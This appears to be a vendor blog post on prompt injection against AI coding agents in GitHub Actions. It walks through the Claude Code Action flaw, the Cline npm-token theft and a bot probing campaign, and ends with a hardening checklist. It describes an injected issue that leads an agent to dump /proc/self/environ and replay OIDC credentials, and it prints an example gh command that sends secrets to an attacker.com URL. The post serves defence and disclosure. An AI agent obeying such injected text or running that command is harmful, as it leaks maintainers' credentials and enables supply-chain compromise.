Introducing Tenki's code reviewer: deep, context-aware reviews that actually find bugs.Try it for Free
Security
Jul 2026

AI Agent Prompt Injection in GitHub Actions

Hayssem Vazquez-Elsayed
Hayssem Vazquez-Elsayedproduct

Share Article:

On June 1, 2026, RyotaK of GMO Flatt Security published a detailed writeup showing how a single malicious GitHub issue could compromise any public repository running Anthropic's Claude Code Action. The attack chain was straightforward: open an issue, let the AI agent read it, and watch it hand over the repo's write credentials. Anthropic patched the flaw within four days of disclosure and rated it CVSS 7.8, but the underlying pattern isn't unique to Claude. It's a structural weakness in how AI coding agents interact with CI/CD pipelines.

Three confirmed incidents in six months have proven this isn't theoretical. This article maps the threat model, walks through the four workflow patterns that create exposure, and explains what automated pre-merge review can catch before vulnerable YAML reaches your default branch.

The threat model: AI agents as high-privilege CI actors

Traditional GitHub Actions steps are deterministic. A shell script does exactly what it says, nothing more. AI coding agents break that assumption. They're language models executing tool calls based on natural-language context, and that context often includes content an attacker controls.

The risk equation has three factors:

  1. Broad permissions. Claude Code Action's default setup grants read/write access to code, issues, pull requests, discussions, and workflow files. That's the full set of capabilities an attacker needs to backdoor a repository.
  2. Untrusted input channels. Issue bodies, PR descriptions, PR titles, and comments are all fields that external contributors (or anyone, on public repos) can populate with arbitrary text. When an AI agent reads these fields as part of its context window, it processes attacker-controlled content.
  3. Indirect prompt injection. The attacker doesn't need to talk to the model directly. They plant instructions inside content the model reads as part of its task. RyotaK's proof-of-concept disguised the payload as an error message in an issue body. Claude "recovered" from the fake error by executing the commands embedded in it.

Combine these three and you get a system where an anonymous attacker can open an issue, wait for the AI agent to process it, and walk away with write access to the repository. The agent becomes an unwitting proxy for the attacker's instructions.

Pattern 1: Overly permissive actor checks

Claude Code Action's permission check was supposed to limit triggers to users with write access. The implementation had two holes.

First, the checkWritePermissions function waved through any actor whose name ended in [bot]. The assumption was that bots are GitHub Apps installed by admins, so they're trusted. In reality, anyone can register a GitHub App, install it on a repo they own, and use its token to open issues on any public repository. The action saw "a bot" and let the content through.

Here's the vulnerable code from the action's source:

// Anyone whose name ends in [bot] gets through
if (actor.endsWith("[bot]")) {
  core.info(`Actor is a GitHub App: ${actor}`);
  return true;
}

Tag mode had a secondary checkHumanActor check that verified the actor's type was User. Agent mode didn't have it. That was the gap.

Second, Anthropic's own example issue-triage workflow shipped with allowed_non_write_users: "*", which lets literally anyone trigger the workflow. Anthropic's own docs flagged this as risky, but the example was there, and repos copied it. The wildcard setting effectively removed the permission boundary entirely.

Pattern 2: Data exfiltration via AI-generated summaries

Once an attacker can trigger the workflow, they need a way to get data out. Claude Code Action had two built-in exfiltration channels.

The first was the workflow run summary panel. By default, Claude Code Action posted a summary of completed tasks to the GitHub Actions job summary, which is publicly visible on any public repository. An attacker who could control Claude's behavior via prompt injection could instruct it to include environment variables in that summary. Anthropic has since disabled summary output by default.

The second channel was the MCP toolset itself. The issue triage workflow granted Claude access to mcp__github__update_issue, which meant a prompt-injected Claude could write stolen secrets back into the issue body where the attacker was watching. RyotaK demonstrated this by getting Claude to read /proc/self/environ (the Linux pseudo-file holding the process's environment variables) and dump the contents into the issue.

Even subtler: the gh CLI accepts URLs as positional arguments. A prompt injection payload could instruct Claude to run gh issue view https://attacker.com/<secret>, sending secrets to an external server in the URL path. Anthropic added a wrapper script that validates gh arguments and blocks non-numeric issue references.

Pattern 3: Missing token scope limits

The real prize in RyotaK's attack wasn't the GITHUB_TOKEN. It was ACTIONS_ID_TOKEN_REQUEST_TOKEN and ACTIONS_ID_TOKEN_REQUEST_URL. These are the credentials GitHub Actions uses to request an OIDC token, a signed assertion that proves "I am this workflow running in this repo." Claude Code Action trades that OIDC token with Anthropic's backend to get a Claude GitHub App installation token with write access to code, issues, PRs, and workflows.

Steal those two environment variables, replay the OIDC exchange, and you hold the same write token the AI agent uses. Point this at Anthropic's own claude-code-action repository (which ran the same workflow), and you could push malicious code into the action that downstream repos pull. That's a supply chain attack.

The core issue is scope. An issue-triage workflow only needs issues: write and maybe contents: read. It doesn't need write access to workflows, code, or pull requests. But the default Claude GitHub App installation token granted all of these, and the workflow YAML didn't restrict what the step could access.

There was also a chaining attack. An attacker could first trigger the low-privilege triage workflow (via allowed_non_write_users: "*") to steal a token with issues: write, then use that token to edit a trusted user's issue right before the high-privilege tag-mode workflow fetched it. The tampered issue rides in as "trusted" input because it was originally created by a write-access user. From there, the attacker gets the OIDC credentials and full write access.

Pattern 4: Untrusted input reaching AI context

This is the most fundamental pattern and the hardest to eliminate. Any workflow where the AI agent reads content that an external user can write is an injection surface. The specific channels:

  • Issue bodies and titles — anyone can open an issue on a public repo.
  • PR descriptions — forked PRs carry the fork author's description into the base repo's workflow context.
  • Comments — issue and PR comments from any GitHub user.
  • Committed files in forked PRs — if the agent reads files from a PR (like a config file), the attacker controls that content. The HackerBot-Claw campaign tried this vector by poisoning config files in PRs opened against Microsoft, Datadog, and CNCF projects.
  • Edited content — an attacker with issues: write (perhaps stolen from a less-privileged workflow) can edit an existing issue between the time a trusted user creates it and the time the AI agent fetches it. This is the TOCTOU variant RyotaK described.

The standard GitHub Actions advice about script injection (don't interpolate ${{ github.event.issue.title }} into shell commands) doesn't help here. The agent isn't running a static script. It's making tool calls based on natural language, and the attacker's payload is natural language too.

Three real-world incidents in six months

This isn't a class of vulnerability that exists only in research labs.

  1. Claude Code Action (CVSS 7.8, fixed in v1.0.94). RyotaK reported the bot-suffix bypass and misconfiguration chain to Anthropic on January 12, 2026. Anthropic fixed the permission bypass by January 16, with further hardening through the spring. The full writeup dropped June 1. RyotaK has now reported around 50 separate ways to bypass Claude Code's permission system.
  2. Cline v2.3.0 supply chain attack (February 2026). A prompt-injected issue title against Cline's Claude Code Action triage workflow let attackers steal an npm publish token and push an unauthorized cline@2.3.0 to npm. The rogue version force-installed a separate AI agent and was pulled about eight hours later. The same chain could have shipped actual malware to every user who auto-updated.
  3. HackerBot-Claw probing campaign (late February 2026). An autonomous bot probed GitHub Actions misconfigurations at Microsoft, Datadog, and CNCF projects. When it tried to prompt-inject a Claude-based reviewer through a poisoned config file, Claude caught it and refused. But the campaign demonstrated that attackers are actively scanning for these patterns at scale.

What pre-merge review catches

Every one of these patterns is detectable in workflow YAML before it merges. The vulnerable configuration lives in the file, not in runtime behavior. That makes pre-merge review the right layer to catch them.

Here's what an automated reviewer should flag on any PR that touches .github/workflows/:

Overly broad permissions blocks. A workflow that uses an AI action for issue triage but requests contents: write and id-token: write is asking for trouble. A reviewer can flag when the declared permissions exceed what the workflow logically needs.

Wildcard actor allowlists. Any allowed_non_write_users: "*" in a workflow that passes secrets to an AI agent is a red flag. So is any pattern that trusts actors based solely on a [bot] suffix without verifying the app's identity.

Dangerous trigger + target combinations. A workflow using pull_request_target that checks out the PR's head ref and feeds it to an AI agent is the classic "pwn request" pattern, now with prompt injection on top. Similarly, issues: opened triggers that pass the issue body to an AI agent with secrets in its environment are inherently risky on public repos.

Secrets passed to steps that don't need them. If a workflow passes secrets.NPM_TOKEN or cloud credentials as environment variables to an AI agent step, those values end up in /proc/self/environ where the agent can read them. Only the Anthropic API key and GITHUB_TOKEN should be in scope, and even that's more than ideal.

Tools like Tenki's code reviewer run on every PR and understand your codebase context, which means they can evaluate whether a workflow YAML change introduces one of these patterns relative to what's already in the repo. A human reviewer might miss that a new allowed_non_write_users setting interacts with an existing id-token: write permission in a different workflow. An automated reviewer that sees the full workflow graph won't.

A checklist for hardening AI agent workflows

If you're running Claude Code Action, Copilot, or any other AI agent in your GitHub Actions pipelines, here's what to audit right now:

  1. Update Claude Code Action to v1.0.94 or later. The bot-suffix bypass and summary exfiltration are fixed there.
  2. Remove or restrict allowed_non_write_users. If you're using "*", you've removed the permission boundary. If you need it for issue triage, drop every permission and secret that isn't strictly necessary.
  3. Apply least-privilege permissions. An issue triage workflow needs issues: write and contents: read. It doesn't need contents: write, pull-requests: write, or id-token: write.
  4. Don't pass extra secrets to AI agent steps. NPM tokens, AWS credentials, deploy keys — none of these should be environment variables in a step that processes untrusted natural-language input.
  5. Restrict the AI agent's toolset. Claude Code Action's --allowedTools flag limits which MCP tools and bash commands the agent can call. Use it. An issue labeler doesn't need git push or the ability to update issue bodies.
  6. Gate workflow YAML changes with automated review. Use CODEOWNERS to require security team approval on .github/workflows/ changes, and pair it with an automated reviewer that flags the patterns listed above.
  7. Review workflow run logs. Check for signs of unexpected tool calls, especially any that read /proc/self/environ or write secrets to issues, comments, or summaries.

Prompt injection isn't solved, so defense has to be structural

RyotaK has reported around 50 separate permission bypass methods to Anthropic. That count alone tells you something important: you can't rely on the AI agent to resist prompt injection. The model-level defense is a seatbelt, not a wall. Some attacks get through.

The effective defenses are structural: limit what the agent can do if compromised (least-privilege permissions, restricted toolsets, no extra secrets in the environment), limit who can trigger it (strict actor validation), and catch the vulnerable configuration before it ships (pre-merge review on workflow YAML).

AI coding agents in CI are genuinely useful. They can triage issues, label PRs, and automate repetitive review tasks. But they're also the first CI component whose behavior can be redirected by untrusted input at runtime. Treat the workflow YAML that configures them with the same scrutiny you'd give a Terraform plan that modifies IAM policies. The blast radius is comparable.

Tags

#prompt-injection#cicd-security#agentic-ci#supply-chain-security

Recommended for you

What's next in your stack.